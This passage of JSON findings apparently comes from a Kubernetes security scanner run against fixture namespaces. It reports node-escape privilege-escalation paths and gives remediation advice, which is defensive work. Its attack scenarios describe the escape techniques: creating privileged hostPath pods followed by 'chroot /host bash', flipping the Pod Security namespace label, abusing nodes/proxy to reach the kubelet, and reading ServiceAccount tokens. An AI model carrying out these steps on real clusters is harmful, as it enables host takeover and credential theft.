        "gains": "can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/privesc-fixtures/sa-pod-create-escape:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-create-escape` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-create-escape` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `/` via `pod_create_privileged_escape` (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create-escape",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-pod-create-escape` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-pod-create-escape`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-create-escape`, the attacker uses the `pod_create_privileged_escape` technique via `create pods (Pod Security Admission does not block privileged)`, which gains can create a privileged pod that escapes to the node.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_privileged_escape [create pods (Pod Security Admission does not block privileged)]"
      ],
      "first_action": "pod_create_privileged_escape",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "pod_create_privileged_escape"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_privileged_escape",
        "technique": "KUBE-PRIVESC-002",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create-escape",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create pods (Pod Security Admission does not block privileged)",
        "gains": "can create a privileged pod that escapes to the node",
        "source_binding": "rb-pod-create-escape",
        "source_role": "r-pod-create-escape",
        "binding_namespace": "privesc-fixtures"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/psa-suppressed/default:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/psa-suppressed/default` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/psa-suppressed/default` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/psa-suppressed/default` → `/` via `pod_host_escape` (privileged): runs in pod psa-suppressed/psa-priv-app-54c64bdd84-4nkmq with privileged\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "psa-suppressed"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/psa-suppressed/default` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/psa-suppressed/default` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/psa-suppressed/default`.",
      "Acting as `ServiceAccount/psa-suppressed/default`, the attacker schedules a pod with host-level access (`privileged: true`, `hostPath: /`, `hostPID`, or `hostNetwork`) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_host_escape [privileged]"
      ],
      "first_action": "pod_host_escape",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "pod_host_escape"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `privileged` that enables the first hop (`ServiceAccount/psa-suppressed/default` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `privileged` that enables the first hop (`ServiceAccount/psa-suppressed/default` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_host_escape",
        "technique": "KUBE-ESCAPE",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "psa-suppressed"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "privileged",
        "gains": "runs in pod psa-suppressed/psa-priv-app-54c64bdd84-4nkmq with privileged"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` → `/` via `pod_host_escape` (hostNetwork): runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-z2vfd with hostNetwork\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-psa-unlabeled",
      "namespace": "psa-unlabeled-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled`.",
      "Acting as `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled`, the attacker schedules a pod with host-level access (`privileged: true`, `hostPath: /`, `hostPID`, or `hostNetwork`) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_host_escape [hostNetwork]"
      ],
      "first_action": "pod_host_escape",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "pod_host_escape"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `hostNetwork` that enables the first hop (`ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `hostNetwork` that enables the first hop (`ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_host_escape",
        "technique": "KUBE-ESCAPE",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-psa-unlabeled",
          "namespace": "psa-unlabeled-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "hostNetwork",
        "gains": "runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-z2vfd with hostNetwork"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/psaflip-fixtures/psaflip-flipper:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/psaflip-fixtures/psaflip-flipper` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/psaflip-fixtures/psaflip-flipper` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/psaflip-fixtures/psaflip-flipper` → `/` via `namespace_psa_label_flip` (patch namespaces + create pods (psaflip-fixtures)): can relabel namespace psaflip-fixtures to pod-security enforce=privileged, then run a privileged pod there and escape to the node\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "psaflip-flipper",
      "namespace": "psaflip-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/psaflip-fixtures/psaflip-flipper` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/psaflip-fixtures/psaflip-flipper` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/psaflip-fixtures/psaflip-flipper`.",
      "Acting as `ServiceAccount/psaflip-fixtures/psaflip-flipper`, the attacker rewrites the `pod-security.kubernetes.io/enforce` label on a namespace that Pod Security Admission currently locks down (`patch namespaces + create pods (psaflip-fixtures)`), setting it to `privileged`. PSA reads its enforcement level from that label on every admission and nothing in-tree protects the label, so the next pod the attacker creates there, privileged or host-mounting, is admitted. The write on the Namespace object is authorized like any other RBAC request: a cluster-scoped grant reaches every namespace, and a namespaced Role granting `patch namespaces` reaches its own namespace, because the API server treats `/api/v1/namespaces/\u003cns\u003e` as a request in `\u003cns\u003e`.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. namespace_psa_label_flip [patch namespaces + create pods (psaflip-fixtures)]"
      ],
      "first_action": "namespace_psa_label_flip",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "namespace_psa_label_flip"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `patch namespaces + create pods (psaflip-fixtures)` that enables the first hop (`ServiceAccount/psaflip-fixtures/psaflip-flipper` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `patch namespaces + create pods (psaflip-fixtures)` that enables the first hop (`ServiceAccount/psaflip-fixtures/psaflip-flipper` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "namespace_psa_label_flip",
        "technique": "KUBE-PRIVESC-035",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "psaflip-flipper",
          "namespace": "psaflip-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "patch namespaces + create pods (psaflip-fixtures)",
        "gains": "can relabel namespace psaflip-fixtures to pod-security enforce=privileged, then run a privileged pod there and escape to the node"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/rbac-fixtures/sa-nodes-proxy:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-nodes-proxy` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-nodes-proxy` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-nodes-proxy` → `/` via `nodes_proxy` (get nodes/proxy): can reach kubelet API via nodes/proxy WebSocket verb confusion\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-nodes-proxy",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-nodes-proxy` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-nodes-proxy` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-nodes-proxy`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-nodes-proxy`, the attacker uses `nodes/proxy` (`get nodes/proxy`) to forward requests directly to the kubelet on each node. Combined with the kubelet's `/exec` endpoint this becomes a primitive for running commands inside any pod the kubelet can see.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. nodes_proxy [get nodes/proxy]"
      ],
      "first_action": "nodes_proxy",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "nodes_proxy"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `get nodes/proxy` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-nodes-proxy` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
